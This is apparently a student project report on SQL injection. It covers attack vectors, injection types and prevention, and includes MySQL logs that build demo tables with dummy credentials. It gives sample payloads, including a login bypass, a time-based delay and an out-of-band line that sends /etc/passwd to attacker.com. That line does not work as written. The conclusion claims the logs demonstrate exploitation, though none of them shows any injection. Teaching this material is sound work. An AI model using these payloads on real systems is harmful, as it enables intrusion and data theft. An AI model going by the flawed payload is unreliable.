PROJECT

SQL INJECTION ATTACK

Prepared By:

Sharyu Jagtap

Guided By:

Zakir Hussain

NO:	Name:
1.	Introduction to SQL Injection
2.	Common SQLi Attack Vectors:
3.	Types of SQL Injection Attacks
4.	Preventing SQL Injection
5.	Advantage
6.	Disadvantage
7.	Results For Above Execution
8.	Conclusion

Introduction

SQL Injection (SQLi) is a type of cyberattack where an attacker inserts malicious SQL code into a web application's database.

This can lead to:

1. Data Theft: Extracting sensitive information like usernames, passwords, and credit card details.
2. Data Modification: Altering or deleting data in the database.
3. Unauthorized Access: Gaining higher access levels or executing commands on the server.

SQLi happens when a web application doesn't properly check or clean user inputs, letting attackers insert harmful SQL code.

According to the Open Web Application Security Project (OWASP), SQL Injection (SQLi) consistently ranks among the top vulnerabilities in web applications. Despite advancements in security practices, many applications still fail to implement even basic safeguards against these attacks. SQLi allows attackers to manipulate database queries, potentially leading to unauthorized access, data theft, or system compromise. It poses a significant threat, particularly to applications handling sensitive information.

Common SQLi Attack Vectors:

1. User Input Forms: Forms that accept user input, such as login or search forms, are common points of SQL Injection if the input is not sanitized. Attackers can insert malicious SQL code into these fields, potentially gaining unauthorized access to the database or modifying its data.

2. URL Parameters: Web applications use URL parameters to pass data between pages. If these parameters are not properly validated, they can be manipulated by attackers to inject SQL code into the application's queries, leading to data breaches or unauthorized actions.

3. Cookies: Cookies store user-specific data like session IDs or preferences. When used in SQL queries without proper validation, they can be exploited for SQL Injection attacks, allowing attackers to execute unauthorized queries.

4. HTTP Headers: Headers such as User-Agent or Referer can be manipulated by attackers to include SQL code. If the web application processes these headers without validation, it becomes vulnerable to SQL Injection, which could compromise the database.

4. Error Messages: Detailed error messages from the database can reveal valuable information about the application's structure and potential vulnerabilities. Attackers can use this information to craft more effective SQL Injection attacks.

Types of SQL Injection Attacks:

1. Classic SQL Injection (SQLi):
Classic SQLi, also known as **in-band SQL Injection**, occurs when an attacker directly injects SQL code into a vulnerable input field (e.g., a login form, search box, or URL parameter) and manipulates the database to extract information or alter its contents. The attacker sends malicious SQL queries, and the application directly returns the results, often revealing sensitive data. This method is typically easy to detect because the attacker can see immediate feedback from the system, making it one of the most common and straightforward SQL injection attacks.

Example: An attacker enters `' OR '1'='1'` into a login form, tricking the system into bypassing authentication and gaining unauthorized access.

2. Blind SQL Injection:
In a **blind SQLi** attack, the attacker injects SQL code into a vulnerable application but does not receive direct feedback from the database. Unlike classic SQLi, no data is returned to the attacker through the application's interface. However, attackers can infer valuable information based on the application's behavior, such as changes in response time, error messages, or content served on the page. This method is "blind" because the attacker doesn't see the exact result but can still infer details about the database by observing how the application behaves.

Example: An attacker tries injecting different queries, such as `' AND 1=1` or `' AND 1=2`, and monitors the application's response (e.g., success or failure messages) to infer the true condition of the query.

3. Time-Based SQL Injection:
Time-based SQLi is a form of **blind SQLi** where an attacker injects SQL code that introduces a delay in the database response. The attacker can measure these delays to infer whether a query is true or false based on how long the application takes to respond. This method is often used when there is no visible feedback from the application, but attackers can detect subtle delays to extract data from the database.

Example: The attacker injects a query like `' AND IF(1=1, SLEEP(5), 0)--`, causing the database to delay the response if the condition is true. The response time helps the attacker gather information about the database.

4. Out-of-Band SQL Injection:
Out-of-band SQLi occurs when an attacker injects SQL code that triggers the database to send data to an external server controlled by the attacker. This method is useful when the attacker cannot retrieve data through the web application's direct responses or if the server does not support time-based attacks. Instead, the SQL query is crafted to interact with an external system, often via HTTP or DNS requests, allowing the attacker to exfiltrate data or execute commands without needing a direct connection back to the vulnerable application.

Example: An attacker injects SQL code that causes the database to make HTTP requests to an external server, such as `' UNION SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE 'http://attacker.com/data.txt'`. This sends the data from the target system to the attacker's server.

Preventing SQL Injection:

1. Use Prepared Statements:

Prepared statements keep SQL code separate from user input, preventing SQL Injection. Instead of embedding user input directly in queries, the query is predefined, and input is inserted later as data, not executable code.

2. Parameterize Queries:

Parameterizing queries ensures user input is handled as data, not part of the SQL structure. This approach avoids direct inclusion of user input into SQL commands, safeguarding against malicious code.

3. Validate User Input:

Always validate and sanitize user input to ensure it meets expected formats and lengths. Input validation can detect and reject malicious content before it reaches the database.

4. Limit Database Privileges:

Limit database permissions so the application only has access to necessary actions. For example, a read-only user should not have permission to modify or delete data, reducing the impact of a successful attack.

Advantages (For Attackers)-

1. Unauthorized Access to sensitive data.
2. Data Extraction from the database.
3. Data Manipulation (insert, update, delete).
4. Compromising Entire Database control.
5. Privilege Escalation to gain admin rights.

Disadvantages (For Systems/Organizations)-

1. Data Breaches leading to loss of sensitive information.
2. Reputational Damage due to data leaks.
3. Financial Losses from compromised financial information.
4. Service Disruptions causing downtime or DoS.
5. Legal Consequences due to non-compliance with data protection laws

Creating Databases-

```
Create database User_Authentication' at line 1
mysql> create database user_authentication;
Query OK, 1 row affected (0.01 sec)

mysql> create database product_information;
Query OK, 1 row affected (0.01 sec)

mysql> create database employee_information;
Query OK, 1 row affected (0.01 sec)
```

Show Databases-

```
mysql> show databases;
+----------------------+
| Database             |
+----------------------+
| d2                   |
| employee_information |
| information_schema   |
| mysql                |
| pccoe                |
| performance_schema   |
| product_information  |
| revature             |
| rv                   |
| sakila               |
| school_management    |
| std                  |
| sys                  |
| task1                |
| task2                |
| user_authentication  |
| world                |
+----------------------+
17 rows in set (0.02 sec)
```

Creating table user for user_authentication-

```
mysql> use user_authentication;
Database changed
mysql> create table users(id int, username varchar(30), password varchar(30), email varchar(30));
Query OK, 0 rows affected (0.03 sec)

mysql> insert into users values(1, "admin", "password123", "admin@example.com"),(2, "user1", "password456", "user1@examp
le.com"),(3, "user2", "password789", "user2@example.com"),(4, "user3", "password012", "user3@example.com"),(5, "user4",
"password345", "user4@example.com");
Query OK, 5 rows affected (0.01 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from users;
+------+----------+-------------+-------------------+
| id   | username | password    | email             |
+------+----------+-------------+-------------------+
|    1 | admin    | password123 | admin@example.com |
|    2 | user1    | password456 | user1@example.com |
|    3 | user2    | password789 | user2@example.com |
|    4 | user3    | password012 | user3@example.com |
|    5 | user4    | password345 | user4@example.com |
+------+----------+-------------+-------------------+
5 rows in set (0.00 sec)
```

Creating table user_role for user_authentication-

```
mysql> create table user_role(id int, role_name varchar(30), description varchar(30));
Query OK, 0 rows affected (0.02 sec)

mysql> insert into user_role values(1, "Admin", "System Administrator"),(2, "User", "Regular User"),(3, "Moderator", "Forum Moderator"),(4, "Guest", "Unregi
stered User"),(5, "Superuser", "System Superuser");
Query OK, 5 rows affected (0.01 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from user_role;
+------+-----------+---------------------+
| id   | role_name | description         |
+------+-----------+---------------------+
|    1 | Admin     | System Administrator |
|    2 | User      | Regular User        |
|    3 | Moderator | Forum Moderator     |
|    4 | Guest     | Unregistered User   |
|    5 | Superuser | System Superuser    |
+------+-----------+---------------------+
5 rows in set (0.00 sec)
```

Creating table login_attempts for user_authentication-

```
mysql> create table login_attempts(id int, username varchar(30), attempt_date datetime, success int);
Query OK, 0 rows affected (0.02 sec)

mysql> insert into login_attempts values(1, "admin", "2022-01-01 12:00:00", 1), (2, "user1", "2022-01-02 13:00:00", 0),
 (3, "user2", "2022-01-03 14:00:00", 1), (4, "user3", "2022-01-04 15:00:00", 0), (5, "user4", "2022-01-05 16:00:00", 1);

uery OK, 5 rows affected (0.00 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from login_attempts;
+------+----------+---------------------+---------+
| id   | username | attempt_date        | success |
+------+----------+---------------------+---------+
|    1 | admin    | 2022-01-01 12:00:00 |       1 |
|    2 | user1    | 2022-01-02 13:00:00 |       0 |
|    3 | user2    | 2022-01-03 14:00:00 |       1 |
|    4 | user3    | 2022-01-04 15:00:00 |       0 |
|    5 | user4    | 2022-01-05 16:00:00 |       1 |
+------+----------+---------------------+---------+
5 rows in set (0.00 sec)
```

Creating table Users_Session for user_authentication-

```
mysql> create table users_session(id int, user_id int, session_start datetime, session_end datetime);
Query OK, 0 rows affected (0.02 sec)

mysql> insert into users_session(1, 1, "2022-01-01 12:00:00", "2022-01-01 13:00:00"), (2, 2, "2022-01-02 13:00:00", "202
2-01-02 14:00:00"), (3, 3, "2022-01-03 14:00:00", "2022-01-03 15:00:00"), (4, 4, "2022-01-04 15:00:00", "2022-01-04 16:0
0:00"), (5, 5, "2022-01-05 16:00:00", "2022-01-05 17:00:00");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
 for the right syntax to use near '1, 1, "2022-01-01 12:00:00", "2022-01-01 13:00:00"), (2, 2, "2022-01-02 13:00:00' at
line 1
mysql> insert into users_session values(1, 1, "2022-01-01 12:00:00", "2022-01-01 13:00:00"), (2, 2, "2022-01-02 13:00:00
", "2022-01-02 14:00:00"), (3, 3, "2022-01-03 14:00:00", "2022-01-03 15:00:00"), (4, 4, "2022-01-04 15:00:00", "2022-01-
04 16:00:00"), (5, 5, "2022-01-05 16:00:00", "2022-01-05 17:00:00");
Query OK, 5 rows affected (0.01 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from users_session;
+------+---------+---------------------+---------------------+
| id   | user_id | session_start       | session_end         |
+------+---------+---------------------+---------------------+
|    1 |       1 | 2022-01-01 12:00:00 | 2022-01-01 13:00:00 |
|    2 |       2 | 2022-01-02 13:00:00 | 2022-01-02 14:00:00 |
|    3 |       3 | 2022-01-03 14:00:00 | 2022-01-03 15:00:00 |
|    4 |       4 | 2022-01-04 15:00:00 | 2022-01-04 16:00:00 |
|    5 |       5 | 2022-01-05 16:00:00 | 2022-01-05 17:00:00 |
+------+---------+---------------------+---------------------+
5 rows in set (0.00 sec)
```

Creating table Password Reset for user_authentication-

```
mysql> create table password_reset(id int, user_id int, reset_date datetime, reset_token varchar(30));
Query OK, 0 rows affected (0.02 sec)

mysql> insert into password_reset values(1, 1, "2022-01-01 12:00:00", "reset_token_123"), (2, 2, "2022-01-02 13:00:00",
"reset_token_456"), (3, 3, "2022-01-03 14:00:00", "reset_token_789"), (4, 4, "2022-01-04 15:00:00", "reset_token_012"),
(5, 5, "2022-01-05 16:00:00", "reset_token_345");
Query OK, 5 rows affected (0.01 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from password_reset;
+------+---------+---------------------+-----------------+
| id   | user_id | reset_date          | reset_token     |
+------+---------+---------------------+-----------------+
|    1 |       1 | 2022-01-01 12:00:00 | reset_token_123 |
|    2 |       2 | 2022-01-02 13:00:00 | reset_token_456 |
|    3 |       3 | 2022-01-03 14:00:00 | reset_token_789 |
|    4 |       4 | 2022-01-04 15:00:00 | reset_token_012 |
|    5 |       5 | 2022-01-05 16:00:00 | reset_token_345 |
+------+---------+---------------------+-----------------+
5 rows in set (0.00 sec)
```

Using second database and creating table products for product_information:

```
mysql> use product_information;
Database changed
mysql> create table products(id int, product_name varchar(30), description varchar(30), price decimal(10,2));
Query OK, 0 rows affected (0.02 sec)

mysql> insert into products values(1, "Product 1", "Description 1", 10.99),(2, "Product 2", "Description 2", 9.99),(3, "Product 3", "Description 3", 12.99),
(4, "Product 4", "Description 4", 8.99),(5, "Product 5", "Description 5", 11.99);
Query OK, 5 rows affected (0.00 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from products;
+------+-------------+-------------+-------+
| id   | product_name | description | price |
+------+-------------+-------------+-------+
|    1 | Product 1    | Description 1 | 10.99 |
|    2 | Product 2    | Description 2 |  9.99 |
|    3 | Product 3    | Description 3 | 12.99 |
|    4 | Product 4    | Description 4 |  8.99 |
|    5 | Product 5    | Description 5 | 11.99 |
+------+-------------+-------------+-------+
5 rows in set (0.00 sec)
```

Creating table categories for product_information:

```
mysql> create table categories(id int, category_name varchar(20), descriptio
n varchar(20));
Query OK, 0 rows affected (0.02 sec)

mysql> insert into categories values(1, "Category 1", "Description 1"),(2, "Category 2", "Description 2"),(3, "Category 3", "Description 3"),(4, "Category 4
", "Description 4"),(5, "Category 5", "Description 5");
Query OK, 5 rows affected (0.00 sec)
Records: 5  Duplicates: 0  Warnings: 0

mysql> select * from categories;
+------+--------------+--------------+
| id   | category_name | description   |
+------+--------------+--------------+
|    1 | Category 1    | Description 1 |
|    2 | Category 2    | Description 2 |
|    3 | Category 3    | Description 3 |
|    4 | Category 4    | Description 4 |
|    5 | Category 5    | Description 5 |
+------+--------------+--------------+
5 rows in set (0.00 sec)
```

Creating table product_categories for product_information:

```
mysql> create table product_categories(id int, product_id int, category_id int, category_type varchar(20));
Query OK, 0 rows affected (0.01 sec)

mysql> insert into product_categories values(1, 1, 1, "Primary Category"),(2, 2, 3, "Secondary Category"),(3, 3, 2, "Primary Category"),(4, 4, 1, "Secondary
 Category");
Query OK, 4 rows affected (0.01 sec)
Records: 4  Duplicates: 0  Warnings: 0

mysql> select * from product_categories;
+------+------------+------------+------------------+
| id   | product_id | category_id | category_type     |
+------+------------+------------+------------------+
|    1 |          1 |          1 | Primary Category   |
|    2 |          2 |          3 | Secondary Category |
|    3 |          3 |          2 | Primary Category   |
|    4 |          4 |          1 | Secondary Category |
+------+------------+------------+------------------+
4 rows in set (0.00 sec)
```

Creating table product_reviews for product_information:

```
mysql> create table product_reviews(id int, product_id int, review date, rating int);
Query OK, 0 rows affected (0.02 sec)

mysql> insert into product_reviews values(1,1,'2024-09-15',4),(2,2,'2024-09-16',5),(3,3,'2024-09-15',3);
Query OK, 3 rows affected (0.00 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> insert into product_reviews values(4,4,'202-09-16',2),(5,5,'2024-09-17',4);
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

mysql> select * from product_reviews;
+------+------------+------------+--------+
| id   | product_id | review     | rating |
+------+------------+------------+--------+
|    1 |          1 | 2024-09-15 |      4 |
|    2 |          2 | 2024-09-16 |      5 |
|    3 |          3 | 2024-09-15 |      3 |
|    4 |          4 | 0202-09-16 |      2 |
|    5 |          5 | 2024-09-17 |      4 |
+------+------------+------------+--------+
5 rows in set (0.00 sec)
```

Using third database and creating table employees for employee_information:

```
mysql> use employee_information;
Database changed
mysql> create table employees(id int, employee_name varchar(20), department
varchar(20), salary int);
Query OK, 0 rows affected (0.02 sec)

mysql> insert into employees values(1, "John Doe", "Sales", 50000),(2, "Jane Doe", "Marketing", 60000),(3, "Bob Smith", "IT", 70000);
Query OK, 3 rows affected (0.00 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> select * from employees;
+------+---------------+------------+--------+
| id   | employee_name | department | salary |
+------+---------------+------------+--------+
|    1 | John Doe      | Sales      |  50000 |
|    2 | Jane Doe      | Marketing  |  60000 |
|    3 | Bob Smith     | IT         |  70000 |
+------+---------------+------------+--------+
3 rows in set (0.00 sec)
```

Query:

Retrieve all products with corresponding category and review information

```
mysql> select p.*, c.category_name, r.rating from products p join product_categories pc on p.id=pc.product_id join categories c on pc.category_id=c.id join
product_reviews r on p.id=r.product_id;
+------+--------------+---------------+-------+---------------+--------+
| id   | product_name | description   | price | category_name | rating |
+------+--------------+---------------+-------+---------------+--------+
|    1 | Product 1    | Description 1 | 10.99 | Category 1    |      4 |
|    2 | Product 2    | Description 2 |  9.99 | Category 3    |      5 |
|    3 | Product 3    | Description 3 | 12.99 | Category 2    |      3 |
|    4 | Product 4    | Description 4 |  8.99 | Category 1    |      2 |
+------+--------------+---------------+-------+---------------+--------+
4 rows in set (0.00 sec)
```

Conclusion

The document outlines SQL Injection (SQLi) attacks, where attackers inject malicious SQL code into database queries, potentially compromising sensitive information such as usernames, passwords, and financial details.

It covers the various types of SQLi attacks, including Classic, Blind, Time-Based, and Out-of-Band SQLi, and highlights common attack vectors like user input forms, URL parameters, and cookies. The document emphasizes that without proper input validation, these vulnerabilities can be exploited to gain unauthorized access to databases.

To prevent SQLi attacks, the document recommends using prepared statements, parameterized queries, input validation, and restricting database privileges. It also discusses the serious impact of SQLi, including data breaches, financial losses, reputational damage, and legal consequences.

The document uses practical examples of database creation to demonstrate how vulnerabilities can be exploited if not properly secured, stressing the importance of implementing robust security practices to defend against SQL injection attacks.